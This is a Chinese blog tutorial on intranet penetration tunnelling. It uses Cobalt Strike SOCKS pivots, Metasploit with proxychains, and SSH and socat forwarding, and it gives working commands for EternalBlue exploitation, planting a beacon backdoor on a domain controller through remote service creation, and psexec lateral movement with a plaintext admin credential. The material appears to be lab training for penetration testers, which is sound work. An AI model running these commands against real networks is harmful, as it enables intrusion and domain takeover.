内网渗透-隧道技术（socks转发、ssh隧道）

已于 2024-01-09 16:49:42 修改
阅读量229 收藏
点赞数
文章标签： ssh 网络 服务器
于 2023-08-01 12:45:00 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44005305/article/details/132010916
版权

流量转发

本片文章将会介绍在内网渗透中经常用到的隧道技术

Socks转发

实验环境介绍

目前已经拿到了server2008-2的会话，但是域控主机在内网，不能和CS TeamServer直接通信，所以需要添加代理转发

在进行转发操作之前，需要将当前会话改为交互模式，也就是说输入命令就被执行，执行sleep 0即为交互模式

  • 在当前 beacon 上可以右击选择Pivoting --> SOCKS Server设置一个 Socks4a 代理服务

  • 或者使用命令socks [port]进行设置

  • 使用命令socks stop关闭 Socks 代理服务

  • 在View --> Proxy Pivots中可以看到已经创建的代理服务

    beacon> help socks
    Use: socks [stop|port]
    ​
    Starts a SOCKS4a server on the specified port. This server will relay
    connections through this Beacon.
    ​
    Use socks stop to stop the SOCKS4a server and terminate existing connections.
    ​
    Traffic will not relay while Beacon is asleep. Change the sleep time with the
    sleep command to reduce latency.

MSF 连接到 Socks 代理服务

  1. 设置 socks 代理

image-20211207150549587

输入端口即可

或者用beacon命令

    beacon> socks 8888  
# 关闭命令  
socks stop
  1. Metasploit 中进行设置

CS 中创建好代理后，在 Metasploit 中可以运行以下命令通过 beacon 的 Socks 代理进行通信

开启 Metasploit 后，运行 setg 命令

    setg Proxies socks4:192.168.179.131:8888  
setg ReverseAllowProxy true

    msf5 > setg Proxies socks4:192.168.179.131:8888  
Proxies => socks4:192.168.179.131:8888

如果感觉上面命令比较长，还可以在Proxy Pivots界面中点击Tunnel按钮查看命令。

* 运行以下命令来停止

    unsetg Proxies

setg 命令和 unsetg 表示在 metasploit 中全局有效，不用在每次选择模块后再重新设置

  1. 扫描端口

扫描 10.0.0.0/24 地址段中的 445 端口

这里作为演示，只扫描一下 445 端口

    use auxiliary/scanner/smb/smb_version  
set rhost 10.0.0.0/24  
set threads 64  
exploit
  1. 漏洞发现&利用

如果10段内存在其他主机，且开放了端口，这里使用永恒之蓝作为演示

    use exploit/windows/smb/ms17_010_eternalblue  
set rhosts 10.0.0.4  
set payload windows/x64/meterpreter/bind_tcp  
exploit

使用 ProxyChains 进行代理转发

使用 ProxyChains 可以使我们为没有代理配置功能的软件强制使用代理

1. 和MSF 使用socks 方法一致，首先开启一个 socks 代理服务  
2. 配置 /etc/proxychains.conf 文件  
3. 运行 proxychains + 待执行命令

  1. 开启socks代理

    beacon> socks 9527

开启代理后再teamserver上可以看到端口（下图 socks 端口为8888）

image-20211207172213969

  1. 配置 ProxyChains

在攻击机上，配置/etc/proxychains.conf文件的最后一行，根据当前 攻击主机（Teamserver） IP 与设置的 Socks
端口，修改如下：

    vim /etc/proxychains.conf  
socks4 192.168.179.128 9527  
# socks4 127.0.0.1 9527

centos如果没有这个文件的话需要安装proxychains，安装方法，proxychains-
ng 是 proxychains 的加强版

  1. 开始使用 ProxyChains

使用 Metasploit 的扫描可以知道，在 10.0.0.0/24 地址段中存在主机 10.0.0.2 ，接下来使用 nmap
扫描一下常见的端口，这里以 80,443,445,3389 作为演示

    proxychains nmap -sT -Pn 10.0.0.2 -p 80,443,445,3389  
proxychains-ng 版本命令为 proxychains4  
# -sT：使用 TCP 扫描  
-Pn：不使用 Ping  
-p：指定扫描端口  
注：不加上 -sT -Pn 参数，将无法使用 proxychains 进行代理扫描

image-20211207155435483

  1. 访问端口(假设开启了80端口)

    proxychains curl 10.0.0.2

转发监听器(反向链接)

image-20211207182604827

选择server2008-2会话，右击选择中转-Listener

image-20211206193449467

这里的转发监听器就相当于server2008-2作为一个代理，当流量转发至server2008-1

image-20211207133235188

生成可执行（s）后门，监听器选择转发监听器

image-20211206194707316

将生成的后门文件上传到server2008-2目录下，这之前一样需要将后门复制到域控主机2008-1上（如果没有域控主机权限，要使用上一节获取信任方法拿到权限）

shell copy file.exe \\host\C$\Windows\Temp  
# shell copy C:\Users\server20082\beacon.exe \\host\C$\Windows\Temp\beacon.exe

按照之前的方法，先创建服务

beacon> shell sc \\host create name binpath= c:\windows\temp\file.exe  
# beacon> shell sc \\WIN-A9PLNLID2QM  create beacon binpath= c:\windows\temp\s.exe

启动服务

shell sc \\host start name  
# shell sc \\WIN-A9PLNLID2QM  start beacon

启动成功不会有报错，没有成功会有报错

image-20211207140136845

执行成功后主机上线

image-20211207140621528

上线之后在CS视图中可以看出反向连接和正向链接的区别

image-20211207183513464

SSH隧道

在内网中几乎所有的linux服务器和网络设备都支持ssh协议。一般情况下，ssh协议是允许通过防火墙和边界设备的，所以经常被攻击者利用。同时ssh协议的传输过程是加密的，所以我们很难区分合法的ssh会话和攻击者利用其他网络建立的隧道。攻击者使用ssh端口隧道突破防火墙的限制后，能够建立一些之前无法建立的TCP连接

适合于以下环境

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-N8xiP48e-1690719686621)(https://image.3001.net/images/20211207/1638885263_61af678ff2ba660963ffe.png!small)]

外部 vps
可以访问内网web服务器，但是不能访问数据库服务器，内网web服务器可以和数据库服务器互相访问，这时就可以使用SSH隧道技术，先经过渗透测试拿到web服务器shell，以web服务器为跳板，访问数据库服务器的3389端口

接下来的实验使用另外一种拓扑结构，模拟企业内网钓鱼攻击场景

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Idnl2khy-1690719686622)(https://image.3001.net/images/20211207/1638885275_61af679b4199843041f0d.png!small)]

现在已经通过钓鱼攻击拿到了内网办公区区域的一台员工办公电脑

image-20211207210208633

环境具体如下

  • web服务器具有双网卡，和数据服务器处于同一网段（10段）可以相互通信，和员工办公电脑处于同一网段可以相互通信（模拟）

  • 员工电脑不能和数据服务器通信

因为员工电脑不能和数据服务器直接通信，我们可以借助 web 服务器（已经被拿下）搭建 ssh 隧道进行通信

1.在TeamServer上搭建ssh隧道

ssh -D 1080 user@ip  
# ssh -D 1080 moonteam@192.168.179.141

在本地创建动态端口1080进行转发连接到192.168.179.141

image-20211207205235978

2.在TeamServer上开启445端口转发

访问本地445端口的数据会被转发到10.0.0.2

socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:10.0.0.2:445

3.在cs中使用以下命令使数据服务器上线

make_token domainname\username password  
# beacon> make_token ocean\administrator Ocean@123

image-20211207212516072

beacon> jump psexec_psh 跳板机ip smb beacon  
# 需要创建一个smb beacon  
这里的ip就是Teamserver的ip，因为在teamserver上转发的445端口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OAWAf6Rf-1690719686624)(https://image.3001.net/images/20211207/1638885295_61af67afe165d54c6d18b.png!small)]

上线主机

image-20211207213250934

整个流程如下

image-20211207214408588

参考链接

https://xz.aliyun.com/t/7245

https://wiki.wgpsec.org/knowledge/intranet/Cobalt-Strike.html

转发的445端口

[外链图片转存中…(img-OAWAf6Rf-1690719686624)]

上线主机

[外链图片转存中…(img-Cyj8dRti-1690719686625)]

整个流程如下

[外链图片转存中…(img-fgjbZIsC-1690719686627)]

参考链接

https://xz.aliyun.com/t/7245

https://wiki.wgpsec.org/knowledge/intranet/Cobalt-Strike.html

网络安全学习路线

这是一份网络安全从零基础到进阶的学习路线大纲全览，小伙伴们记得点个收藏！

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JF0RxloN-1690719686628)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]编辑

阶段一：基础入门

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dE6Bs8uS-1690719686628)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

网络安全导论

渗透测试基础

网络基础

操作系统基础

Web安全基础

数据库基础

编程基础

CTF基础

该阶段学完即可年薪15w+

阶段二：技术进阶（到了这一步你才算入门）

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tAZPJk4o-1690719686629)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

弱口令与口令爆破

XSS漏洞

CSRF漏洞

SSRF漏洞

XXE漏洞

SQL注入

任意文件操作漏洞

业务逻辑漏洞

该阶段学完年薪25w+

阶段三：高阶提升

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EJbjkUkH-1690719686630)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

反序列化漏洞

RCE

综合靶场实操项目

内网渗透

流量分析

日志分析

恶意代码分析

应急响应

实战训练

该阶段学完即可年薪30w+

阶段四：蓝队课程

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fJad2vY6-1690719686631)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

蓝队基础

蓝队进阶

该部分主攻蓝队的防御，即更容易被大家理解的网络安全工程师。

攻防兼备，年薪收入可以达到40w+

阶段五：面试指南&阶段六：升级内容

img

需要上述路线图对应的网络安全配套视频、源码以及更多网络安全相关书籍&面试题等内容

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

同学们可以扫描下方二维码获取哦！

教IT的无语强
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【CS学习笔记】20、通过Socks转发的方法
TeamsSix 的 CSDN 空间
09-05 1760
0x00 前言 这一小节中，将看看如何构建一个 SOCKS 代理服务器使一个上线主机变成我们的跳板机。 0x01 Pivoting 根据 A-Team 团队中 CS 手册中的介绍，Pivoting 是指 将一个受害机器转为其他攻击和工具的跳板 的操作。 在进行 Pivoting 操作之前，需要将当前会话改为交互模式，也就是说输入命令就被执行，执行 sleep 0 即为交互模式。 0x02 Socks 在当前 beacon 上可以右击选择 Pivoting --> SOCKS Server 设
第70天：内网安全-域横向内网漫游Socks代理隧道技术1
08-03
1.内外网简单知识 2.内网 1 和内网 2 通信问题 3.正向反向协议通信连接问题 4.内网穿透代理隧道技术说明 2.测试：内网 1 执行后门-免费主机处理-
内网渗透——SMB隧道搭建
m0_65544268的博客
07-12 439
主机3和主机4上都有防火墙，所以正向反向链接都无法使主机4上线，这个时候我们就可以搭建SMB隧道去正向链接主机4。Payload选择Beacon TCP，因为本次使用的是反向链接，正向链接是直接链接不到的。因为主机3上有防火墙，采取正向链接不可行，所以我们可以在主机2上开启转发上线功能。想要入侵到主机4，需要在主机3和主机4之间搭建SMB隧道进行正向链接。的payload，之后将生成好的后门文件传到主机3上。这个步骤是让主机2作为代理监听主机3的上线。3）主机3运行后门文件，主机3上线。
frp内网穿透(socks隧道)
2301_76227305的博客
03-06 2409
在实验过程中还是遇到了挺多的问题，但好在大多都解决了。不过还是遗留了一些不懂的问题，等以后再慢慢研究了。最后，以上仅为个人的拙见，如何有不对的地方，欢迎各位师傅指正与补充，有兴趣的师傅可以一起交流学习。
Cobalt Strike使用教程一
热门推荐
迷风小白
10-24 7万+
0x00 简介 Cobalt Strike是一款基于java的渗透测试神器，常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用，分为客户端与服务端，服务端是一个，客户端可以有多个，非常适合团队协同作战，多个攻击者可以同时连接到一个团队服务器上，共享攻击资源与目标信息和sessions，可模拟APT做模拟对抗，进行内网渗透。 Cobalt Strike集...
内网渗透之跨路由访问
qq_56426046的博客
11-16 1300
在渗透测试过程中，经常拿到web主机与数据库不同在一个网段，可以得出这台主机还连着一个内网， 如果想要继续渗透内网，可以把这台web主机当作跳板机，对内网进行渗透。kali无法直接访问目标主机 但是kali获取受害者的权限 得知可以访问目标主机，所以可以通过受害者做 跳板访问目标主机 获取内网网卡命令。msf使用隧道模块 默认是使用socks5 也可以选择socks4a。绑定路由 不绑定路由就没法访问目标主机。使用代理隧道nmap扫描内网主机。末将于禁，愿为曹家世代赴汤蹈火。msf 使用代理访问目标。
内网渗透之vulnstack靶场系列(一)
xf555er的博客
10-18 1955
Vulnstack靶场有两个默认用户, 分别是域成员和域管理员用户， 其默认密码均为首次登录会要求用户修改密码, 除此之外我还新添加了个用户用于登录win2003主机所有的用户信息如下表格所示：下图为网卡的配置信息, 配置的子网IP为, 设置为仅主机模式下图为NAT模式的网卡配置信息, 配置的子网IP为域控的网络连接配置如下：Web服务器有两个网卡, 其中一个网卡是用于Web服务器与域内主机进行数据交互, 此网卡需将DNS服务器地址设置成域控服务器地址, 其他域内成员的网络配置亦是如此, 这里就不详细描述了
【渗透测试笔记】之【SSH 端口转发、socks代理及X协议转发】_kali使用ssh命令搭建socks代理
最新发布
2401_84968940的博客
05-13 862
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
MSF和CS联动
GoDunTong's Blog
04-08 4092
转载自Snowming04’s Blog 0x01 准备工作 受害主机：在关闭 Windows Defender 和其他一切杀软的前提下，在 Win 10 主机下进行的实验。 MSF：本地 kali Cobalt Strike 团队服务器：Ubuntu VPS Cobalt Strike：3.14 团队服务器： 客户端： 上线过程： 因为我关闭了一切杀软及 Windows Defender，自不必做免杀。 一些朋友搞不清楚 Windows Executable 和 Windows Exec.
ssh正向连接、反向连接、做socks代理
su_ocean16的专栏
11-27 2260
最近才发现ssh有多么的强大！ 在网上搜了半天，发现大多数人都是一瓶子不满的水平，浅尝辄止。就没有几个人有点儿科学研究的精神吗？为啥不把它搞明白呢？ 当然，相信有不少人是很明白的，但是不愿意写博文来公开。其实这样大可不必，独乐乐不如众乐乐，何必那么小肚鸡肠？ 1、用ssh做正向连接 啥叫正向连接？就是client连上server，然后把server能访问的机器地址和端口（当然也包括
SSH隧道 / SSH穿透
Jian Sun_的博客
01-04 4290
在开发微信公众号或小程序的时候，由于微信平台规则的限制，部分接口需要通过线上域名才能正常访问。但我们一般都会在本地开发，因为这能快速的看到源码修改后的运行结果。但当涉及到需要调用微信接口时，由于不和你在同一个局域网中的用户是无法访问你的本地开发机的，就必须把修改后的代码重新发布到线上域名所在的服务器才能去验证结果。每次修改都重新发布很繁琐也很浪费时间。 本文将教你如何通过 SSH 隧道把本地服务映射到外网，以方便调试，通常把这种方法叫内网穿透。 阅读完本文后，你能解决以下常见问题： 开发微信公众号.
内网渗透之多种方式实现内网穿透（详细）
qq_38348692的博客
09-03 1万+
靶机为win7 使用ms17_010_enternalbule获得meterpreter权限，在这里注意，设置payload是必须的，否则不能获得metepreter权限，直接弹到 创建跳板路由: run autoroute -s 192.168.10.0/24 创建路由 run autoroute -p 打印路由[在这里插入图片描述] 输入background退回metaploit可以看...
netty-codec-socks-4.1.73.Final-API文档-中文版.zip
05-07
赠送jar包：netty-codec-socks-4.1.73.Final.jar； 赠送原API文档：netty-codec-socks-4.1.73.Final-javadoc.jar； 赠送源代码：netty-codec-socks-4.1.73.Final-sources.jar； 赠送Maven依赖信息文件：netty-codec-...
内网渗透之端口转发-内网代理1
08-03
①正向代理 (Forward Proxy) ②反向代理（reverse proxy） ③区分 ①内网机器上执行：lcx.exe –slave 公网 IP + 端
netty-codec-socks-4.1.68.Final-API文档-中英对照版.zip
05-10
赠送jar包：netty-codec-socks-4.1.68.Final.jar； 赠送原API文档：netty-codec-socks-4.1.68.Final-javadoc.jar； 赠送源代码：netty-codec-socks-4.1.68.Final-sources.jar； 赠送Maven依赖信息文件：netty-codec-...
netty-codec-socks-4.1.73.Final-API文档-中英对照版.zip
05-03
赠送jar包：netty-codec-socks-4.1.73.Final.jar； 赠送原API文档：netty-codec-socks-4.1.73.Final-javadoc.jar； 赠送源代码：netty-codec-socks-4.1.73.Final-sources.jar； 赠送Maven依赖信息文件：netty-codec-...
cs和msf配合进行内网的操作
https://www.cnblogs.com/zpchcbd/
08-03 1606
cs中直接添加一个socks代理 msf中的操作相应的cs中socks的代理端口，然后利用msf对内网进一步的探测 setg Proxies socks4:xxx.xxx.xxx.xxx:44803
Cobalt Strike----(8)
cyynid的博客
03-16 528
Zeus这样的恶意软件及其变体将它们自己注入一个用户的浏览器中来窃取银行业务相关的信息。这是一种以浏览器为媒介的攻击，因为攻击者将恶意软件注入到目标的浏览器中。以浏览器为媒介的恶意软件使用两种方式来窃取银行信息。第一种方法是捕获发送到服务器的表单信息，比如，恶意软件可能会 hook Firefox中的PR_Write来拦截由Firefox发送到HTTP POST信息。第二种方法是，它们将JavaScript注入特定的网页来使用户认为网站在请求那些实际上是攻击者想要的信息。
kali内置超好用的代理工具proxychains
Eason_LYC安全白帽子的成长博客
03-21 8759
Kali Linux是一个流行的安全测试和渗透测试操作系统，而ProxyChains是其中一个非常有用的工具，它可以帮助用户在渗透测试期间隐藏其真实IP地址，以便更好地保护他们的匿名性和隐私。具体来说，ProxyChains是一个开源工具，它允许用户通过一个或多个代理服务器来路由TCP或UDP连接，从而隐藏其真实IP地址。该工具可以用于在不被发现的情况下执行各种网络操作，例如扫描和攻击，而无需揭示用户的位置和身份。
frp socks5代理 内网渗透
10-18
frp是一款高性能的反向代理工具，可以将内网服务映射到公网上，从而实现内网穿透。而socks5代理是一种网络协议，可以实现TCP、UDP等协议的代理转发。结合使用frp和socks5代理，可以实现内网渗透的目的。 具体实现方法如下： 1. 在公网服务器上安装frp，并配置好反向代理规则。 2.＊＊＊ 在攻击机上使用socks5代理客户端连接内网机器的socks5代理服务，即可访问内网服务。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值